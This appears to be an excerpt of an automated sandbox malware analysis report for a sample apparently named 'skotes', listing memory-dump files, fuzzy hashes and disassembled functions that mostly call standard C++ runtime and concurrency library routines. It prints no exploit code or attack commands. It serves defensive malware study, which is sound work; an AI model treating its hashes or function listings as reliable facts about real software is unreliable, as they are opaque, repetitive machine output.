Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 3820e537e201f8d10efdf190a1443c565702f336f5dcb6ef61e809059cbc7a39
Instruction ID: 12b4d1d10a4b9560bfc06ce245d8aac364f7fec32802c6ab4653e6f7376bb640
Opcode Fuzzy Hash: 3820e537e201f8d10efdf190a1443c565702f336f5dcb6ef61e809059cbc7a39
Instruction Fuzzy Hash: 808184B0A15B52BAD708DF78C885BD9FAE8FF4A710F10025AF428D7241DBB4A564CBD0

Function 00B9ECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B9ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00B9ED17

Part of subcall function 00B9F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00B9F3FA

__alloca_probe_16.LIBCMT ref: 00B9ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00B9ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B9EDC6
__freea.LIBCMT ref: 00B9EDEC

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16__freea
String ID:
API String ID: 1319684358-0
Opcode ID: 670889f0692f553abbb5428c0efc69431f93d3298f222455ebd254cb53290f14
Instruction ID: 782001ff08d12e5f874bc7e3de2a12ab312678909c15955bd156124e37fa7e23
Opcode Fuzzy Hash: 670889f0692f553abbb5428c0efc69431f93d3298f222455ebd254cb53290f14
Instruction Fuzzy Hash: F63169B1A002168BCF15DFA8C9816ADB7F5EF49310B6440BAE865F7351DB35DE02CBA4

Function 00B9EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00B9EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00B9EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00B9EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B9EF0F
Concurrency::Context::Block.LIBCONCRT ref: 00B9EF31

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 9d914b33c855945ee096f52f15883f8a34ee6bb24a05b6f16aaf260af8395343
Instruction ID: 39671537e4a6cb25b2d2a602a9e744da8941d7ba6b74a7c443ef5036bab56279
Opcode Fuzzy Hash: 9d914b33c855945ee096f52f15883f8a34ee6bb24a05b6f16aaf260af8395343
Instruction Fuzzy Hash: E6216D70C146199BEF28EFA4C8457EEBBF0FF15360F2009BAE061A61D1E7719A44CB55

Function 00BC67A9 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BC6902
__alloca_probe_16.LIBCMT ref: 00BC6998
__freea.LIBCMT ref: 00BC6A03
__freea.LIBCMT ref: 00BC6A0F

Strings

P\X, xrefs: 00BC67AB

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID: P\X
API String ID: 1635606685-3762502716
Opcode ID: 231e0e76dfc6cba74486ec17ffd4de611f12c721f578d1809005eb439ead478b
Instruction ID: 7e6c07edbc0f34df8e8450ccdaa83cf3f81d1b2849670020337b0ccb2c61b782
Opcode Fuzzy Hash: 231e0e76dfc6cba74486ec17ffd4de611f12c721f578d1809005eb439ead478b
Instruction Fuzzy Hash: FC81A072D00249ABDF209EA48881FEE7BF5DF49314F1941EEE845B7281E775CC408BA1

Function 00BB1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00BB1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BB1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BB1C2A

Strings

pContext, xrefs: 00BB1C22
switchState, xrefs: 00BB1B5E

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
